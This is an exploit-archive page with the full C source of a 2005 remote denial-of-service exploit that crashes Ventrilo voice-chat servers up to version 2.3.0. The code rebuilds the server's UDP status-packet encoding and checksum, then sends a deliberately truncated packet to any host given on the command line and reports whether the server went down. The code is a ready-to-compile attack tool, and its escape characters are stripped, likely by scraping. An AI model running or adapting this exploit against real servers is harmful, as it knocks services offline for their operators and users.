[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Ventrilo <= 2.3.0 Remote Denial of Service Exploit (all platforms)
# Published : 2005-08-23
# Author : Luigi Auriemma
# Previous Title : P2P Pro 1.0 (command) Denial of Service Exploit
# Next Title : Chris Moneymakers World Poker Championship 1.0 DoS Exploit


/*

by Luigi Auriemma


Windows compiled version:
http://aluigi.altervista.org/poc/ventboom.zip
/str0ke
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*

Ventrilo UDP status algorithm 0.1
by Luigi Auriemma
e-mail: aluigi@autistici.org
web:    http://aluigi.altervista.org


INTRODUCTION
============
This algorithm is the method used by the chat program Ventrilo
(http://www.ventrilo.com) for encoding the UDP packets used to get
the status informations.


FUNCTIONS
=========
struct ventrilo_udp_head
void ventrilo_udp_head_dec(unsigned char *data)
void ventrilo_udp_head_enc(unsigned char *data)
void ventrilo_udp_data_dec(unsigned char *data, int len, unsigned short key)
unsigned short ventrilo_udp_data_enc(unsigned char *data, int len)
unsigned short ventrilo_udp_crc(unsigned char *data, int len)


USAGE EXAMPLE
=============
Watch my "Ventrilo status retriever" code for a simple and practical example:

  http://aluigi.altervista.org/papers/ventstat.zip


LICENSE
=======
    Copyright 2005 Luigi Auriemma

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA

    http://www.gnu.org/licenses/gpl.txt

*/

#include <time.h>
#ifdef WIN32
    #include <winsock.h>
    #define VENTRILO_RAND   clock()
#else
    #include <netinet/in.h>
    #include <sys/times.h>
    #define VENTRILO_RAND   times(0)
#endif



typedef struct {
    unsigned short pckkey;  // key for decoding this header
    unsigned short zero;    // ever 0
    unsigned short cmd;     // command number: 1 generic info, 2 for details
    unsigned short id;      // packet ID used for tracking the replies
    unsigned short totlen;  // total data size (for data splitted in packets)
    unsigned short len;     // size of the data in this packet (max 492)
    unsigned short totpck;  // total amount of packets (max 32)
    unsigned short pck;     // current packet number
    unsigned short datakey; // key for decoding the data
    unsigned short crc;     // checksum of the total plain-text data
} ventrilo_udp_head;



const static unsigned char  ventrilo_udp_encdata_head[] =
    "x80xe5x0ex38xbax63x4cx99x88x63x4cxd6x54xb8x65x7e"
    "xbfx8axf0x17x8axaax4dx0fxb7x23x27xf6xebx12xf8xea"
    "x17xb7xcfx52x57xcbx51xcfx1bx14xfdx6fx84x38xb5x24"
    "x11xcfx7ax75x7axbbx78x74xdcxbcx42xf0x17x3fx5exeb"
    "x74x77x04x4ex8cxafx23xdcx65xdfxa5x65xddx7dxf4x3c"
    "x4cx95xbdxebx65x1cxf4x24x5dx82x18xfbx50x86xb8x53"
    "xe0x4ex36x96x1fxb7xcbxaaxafxeaxcbx20x27x30x2axae"
    "xb9x07x40xdfx12x75xc9x09x82x9cx30x80x5dx8fx0dx09"
    "xa1x64xecx91xd8x8ax50x1fx40x5dxf7x08x2axf8x60x62"
    "xa0x4ax8bxbax4ax6dx00x0ax93x32x12xe5x07x01x65xf5"
    "xffxe0xaexa7x81xd1xbax25x62x61xb2x85xadx7ex9dx3f"
    "x49x89x26xe5xd5xacx9fx0exd7x6ex47x94x16x84xc8xff"
    "x44xeax04x40xe0x33x11xa3x5bx1ex82xffx7ax69xe9x2f"
    "xfbxeax9axc6x7bxdbxb1xffx97x76x56xf3x52xc2x3fx0f"
    "xb6xacx77xc4xbfx59x5ex80x74xbbxf2xdex57x62x4cx1a"
    "xffx95x6dxc7x04xa2x3bxc4x1bx72xc7x6cx82x60xd1x0d";

const static unsigned char  ventrilo_udp_encdata_data[] =
    "x82x8bx7fx68x90xe0x44x09x19x3bx8ex5fxc2x82x38x23"
    "x6dxdbx62x49x52x6ex21xdfx51x6cx76x37x86x50x7dx48"
    "x1fx65xe7x52x6ax88xaaxc1x32x2fxf7x54x4cxaax6dx7e"
    "x6dxa9x8cx0dx3fxffx6cx09xb3xa5xafxdfx98x02xb4xbe"
    "x6dx69x0dx42x73xe4x34x50x07x30x79x41x2fx08x3fx42"
    "x73xa7x68xfaxeex88x0ex6exa4x70x74x22x16xaex3cx81"
    "x14xa1xdax7fxd3x7cx48x7dx3fx46xfbx6dx92x25x17x36"
    "x26xdbxdfx5ax87x91x6fxd6xcdxd4xadx4ax29xddx7dx59"
    "xbdx15x34x53xb1xd8x50x11x83x79x66x21x9ex87x5bx24"
    "x2fx4fxd7x73x34xa2xf7x09xd5xd9x42x9dxf8x15xdfx0e"
    "x10xccx05x04x35x81xb2xd5x7axd2xa0xa5x7bxb8x75xd2"
    "x35x0bx39x8fx1bx44x0excex66x87x1bx64xacxe1xcax67"
    "xb4xcex33xdbx89xfexd8x8excdx58x92x41x50x40xcbx08"
    "xe1x15xeexf4x64xfex1cxeex25xe7x21xe6x6cxc6xa6x2e"
    "x52x23xa7x20xd2xd7x28x07x23x14x24x3dx45xa5xc7x90"
    "xdbx77xddxeax38x59x89x32xbcx00x3ax6dx61x4exdbx29";



void ventrilo_udp_head_dec(unsigned char *data) {
    int             i;
    unsigned short  *p;
    unsigned char   a1,
                    a2;

    p = (unsigned short *)data;
    data += 2;

    *p = ntohs(*p);
    a1 = *p;
    if(!a1) return;
    a2 = *p >> 8;

    for(i = 0; i < 18; i++) {
        data[i] -= ventrilo_udp_encdata_head[a2] + (i % 5);
        a2 += a1;
    }

    for(i = 0; i < 9; i++) {
        p++;
        *p = ntohs(*p);
    }
}



void ventrilo_udp_head_enc(unsigned char *data) {
    int             i;
    unsigned short  *p;
    unsigned char   a1,
                    a2;

    p = (unsigned short *)data;
    data += 2;

    *p = (((VENTRILO_RAND * 0x343fd) + 0x269ec3) >> 16) & 0x7fff;
    a1 = *p;
    a2 = *p >> 8;
    if(!a2) {
        a2 = 69;
        *p |= (a2 << 8);
    }

    for(i = 0; i < 10; i++) {
        *p = htons(*p);
        p++;
    }

    for(i = 0; i < 18; i++) {
        data[i] += ventrilo_udp_encdata_head[a2] + (i % 5);
        a2 += a1;
    }
}



void ventrilo_udp_data_dec(unsigned char *data, int len, unsigned short key) {
    int             i;
    unsigned char   a1,
                    a2;

    a1 = key;
    if(!a1) return;
    a2 = key >> 8;

    for(i = 0; i < len; i++) {
        data[i] -= ventrilo_udp_encdata_data[a2] + (i % 72);
        a2 += a1;
    }
}



unsigned short ventrilo_udp_data_enc(unsigned char *data, int len) {
    int             i;
    unsigned short  key;
    unsigned char   a1,
                    a2;

    key = (((VENTRILO_RAND * 0x343fd) + 0x269ec3) >> 16) & 0x7fff;
    a1 = key;
    a2 = key >> 8;
    if(!a2) {
        a2 = 1;
        key |= (a2 << 8);
    }

    for(i = 0; i < len; i++) {
        data[i] += ventrilo_udp_encdata_data[a2] + (i % 72);
        a2 += a1;
    }

    return(key);
}



unsigned short ventrilo_udp_crc(unsigned char *data, int len) {
    unsigned short  crc = 0;
    const static unsigned short table[] = {
        0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50a5, 0x60c6, 0x70e7,
        0x8108, 0x9129, 0xa14a, 0xb16b, 0xc18c, 0xd1ad, 0xe1ce, 0xf1ef,
        0x1231, 0x0210, 0x3273, 0x2252, 0x52b5, 0x4294, 0x72f7, 0x62d6,
        0x9339, 0x8318, 0xb37b, 0xa35a, 0xd3bd, 0xc39c, 0xf3ff, 0xe3de,
        0x2462, 0x3443, 0x0420, 0x1401, 0x64e6, 0x74c7, 0x44a4, 0x5485,
        0xa56a, 0xb54b, 0x8528, 0x9509, 0xe5ee, 0xf5cf, 0xc5ac, 0xd58d,
        0x3653, 0x2672, 0x1611, 0x0630, 0x76d7, 0x66f6, 0x5695, 0x46b4,
        0xb75b, 0xa77a, 0x9719, 0x8738, 0xf7df, 0xe7fe, 0xd79d, 0xc7bc,
        0x48c4, 0x58e5, 0x6886, 0x78a7, 0x0840, 0x1861, 0x2802, 0x3823,
        0xc9cc, 0xd9ed, 0xe98e, 0xf9af, 0x8948, 0x9969, 0xa90a, 0xb92b,
        0x5af5, 0x4ad4, 0x7ab7, 0x6a96, 0x1a71, 0x0a50, 0x3a33, 0x2a12,
        0xdbfd, 0xcbdc, 0xfbbf, 0xeb9e, 0x9b79, 0x8b58, 0xbb3b, 0xab1a,
        0x6ca6, 0x7c87, 0x4ce4, 0x5cc5, 0x2c22, 0x3c03, 0x0c60, 0x1c41,
        0xedae, 0xfd8f, 0xcdec, 0xddcd, 0xad2a, 0xbd0b, 0x8d68, 0x9d49,
        0x7e97, 0x6eb6, 0x5ed5, 0x4ef4, 0x3e13, 0x2e32, 0x1e51, 0x0e70,
        0xff9f, 0xefbe, 0xdfdd, 0xcffc, 0xbf1b, 0xaf3a, 0x9f59, 0x8f78,
        0x9188, 0x81a9, 0xb1ca, 0xa1eb, 0xd10c, 0xc12d, 0xf14e, 0xe16f,
        0x1080, 0x00a1, 0x30c2, 0x20e3, 0x5004, 0x4025, 0x7046, 0x6067,
        0x83b9, 0x9398, 0xa3fb, 0xb3da, 0xc33d, 0xd31c, 0xe37f, 0xf35e,
        0x02b1, 0x1290, 0x22f3, 0x32d2, 0x4235, 0x5214, 0x6277, 0x7256,
        0xb5ea, 0xa5cb, 0x95a8, 0x8589, 0xf56e, 0xe54f, 0xd52c, 0xc50d,
        0x34e2, 0x24c3, 0x14a0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405,
        0xa7db, 0xb7fa, 0x8799, 0x97b8, 0xe75f, 0xf77e, 0xc71d, 0xd73c,
        0x26d3, 0x36f2, 0x0691, 0x16b0, 0x6657, 0x7676, 0x4615, 0x5634,
        0xd94c, 0xc96d, 0xf90e, 0xe92f, 0x99c8, 0x89e9, 0xb98a, 0xa9ab,
        0x5844, 0x4865, 0x7806, 0x6827, 0x18c0, 0x08e1, 0x3882, 0x28a3,
        0xcb7d, 0xdb5c, 0xeb3f, 0xfb1e, 0x8bf9, 0x9bd8, 0xabbb, 0xbb9a,
        0x4a75, 0x5a54, 0x6a37, 0x7a16, 0x0af1, 0x1ad0, 0x2ab3, 0x3a92,
        0xfd2e, 0xed0f, 0xdd6c, 0xcd4d, 0xbdaa, 0xad8b, 0x9de8, 0x8dc9,
        0x7c26, 0x6c07, 0x5c64, 0x4c45, 0x3ca2, 0x2c83, 0x1ce0, 0x0cc1,
        0xef1f, 0xff3e, 0xcf5d, 0xdf7c, 0xaf9b, 0xbfba, 0x8fd9, 0x9ff8,
        0x6e17, 0x7e36, 0x4e55, 0x5e74, 0x2e93, 0x3eb2, 0x0ed1, 0x1ef0
    };

    while(len--) {
        crc = table[crc >> 8] ^ *data ^ (crc << 8);
        data++;
    }

    return(crc);
}


#undef VENTRILO_RAND

#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "nError: %sn", error);
    exit(1);
}

//inserted headers /str0ke

    #define close   closesocket
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif



#define VER         "0.1"
#define PORT        3784
#define MAXPCK      32
#define MAXPCKSZ    492
#define TIMEOUT     2
#define RETRY       2



int ventrilo_get_status(int sd, u_short cmd, u_char *pass, int bug);
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);



struct  sockaddr_in peer;



int main(int argc, char *argv[]) {
    int     sd;
    u_short port = PORT;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif


    setbuf(stdout, NULL);

    fputs("n"
        "Ventrilo <= 2.3.0 server crash "VER"n"
        "by Luigi Auriemman"
        "e-mail: aluigi@autistici.orgn"
        "web:    http://aluigi.altervista.orgn"
        "n", stdout);

    if(argc < 2) {
        printf("n"
            "Usage: %s <host> [port(%hu)]n"
            "n", argv[0], port);
        exit(1);
    }

    if(argc > 2) port = atoi(argv[2]);
    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hun",
        inet_ntoa(peer.sin_addr), port);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    fputs("n- check server:n", stdout);
    if(ventrilo_get_status(sd, 1, "", 0) < 0) {
        fputs("nError: no reply received, probably the server is not onlinenn", stdout);
        exit(1);
    }

    sleep(ONESEC);

    fputs("n- send BOOM packet:n", stdout);
    ventrilo_get_status(sd, 1, "", 1);

    sleep(ONESEC);

    fputs("n- check server:n", stdout);
    if(ventrilo_get_status(sd, 1, "", 0) < 0) {
        fputs("nServer IS vulnerable!!!nn", stdout);
    } else {
        fputs("nServer doesn't seem vulnerablenn", stdout);
    }

    close(sd);
    return(0);
}



int ventrilo_get_status(int sd, u_short cmd, u_char *pass, int bug) {
    ventrilo_udp_head   *stat;
    int     i,
            len,
            totlen,
            retry;
    u_short id,
            crc;
    u_char  buff[20 + MAXPCKSZ],
            full[MAXPCKSZ * MAXPCK],
            *data;

    stat = (ventrilo_udp_head *)buff;
    data = buff + 20;

    strncpy(data, pass, 16);

    stat->zero    = 0;
    stat->cmd     = cmd;
    stat->id      = id = time(NULL);
    stat->totlen  = 16;
    stat->len     = 16;
    stat->totpck  = 1;
    stat->pck     = 0;
    stat->crc     = ventrilo_udp_crc(data, 16);
    stat->datakey = ventrilo_udp_data_enc(data, 16);
    ventrilo_udp_head_enc(buff);

    for(retry = RETRY; retry; retry--) {
        sendto(sd, buff,
            20 + (bug ? 0 : 16),    // BUG exploited here
            0, (struct sockaddr *)&peer, sizeof(peer));
        if(!timeout(sd)) break;
    }
    if(!retry) return(-1);

    i      = 0;
    totlen = 0;
    memset(full, ' ', sizeof(full));    // in case of packet loss

    for(;;) {
        len = recvfrom(sd, buff, sizeof(buff), 0, NULL, NULL);
        ventrilo_udp_head_dec(buff);

        if(stat->id != id) continue;

        if((len < 20)                 ||
           (stat->totpck < stat->pck) ||
           (stat->totpck > MAXPCK)    ||
           (stat->len    > MAXPCKSZ)) {
            fputs("nError: wrong or incomplete reply receivedn", stdout);
            return(0);
        }

        len    = stat->len;
        totlen += len;
        if(totlen > sizeof(full)) break;

        ventrilo_udp_data_dec(data, len, stat->datakey);
        memcpy(full + (stat->pck * MAXPCKSZ), data, len);

        if(++i == stat->totpck) break;
        if(totlen == stat->totlen) break;
        if(timeout(sd) < 0) break;
    }

    crc = ventrilo_udp_crc(full, totlen);
    if(ventrilo_udp_crc(full, totlen) != stat->crc) {
        printf("- wrong checksum: mine is %04x while should be %04xnn", crc, stat->crc);
    }

    fwrite(full, totlen, 1, stdout);
    return(0);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_int resolv(char *host) {
    struct hostent *hp;
    u_int  host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("nError: Unable to resolv hostname (%s)n", host);
            exit(1);
        } else host_ip = *(u_int *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("nError");
        exit(1);
    }
#endif

// www.Syue.com [2005-08-23]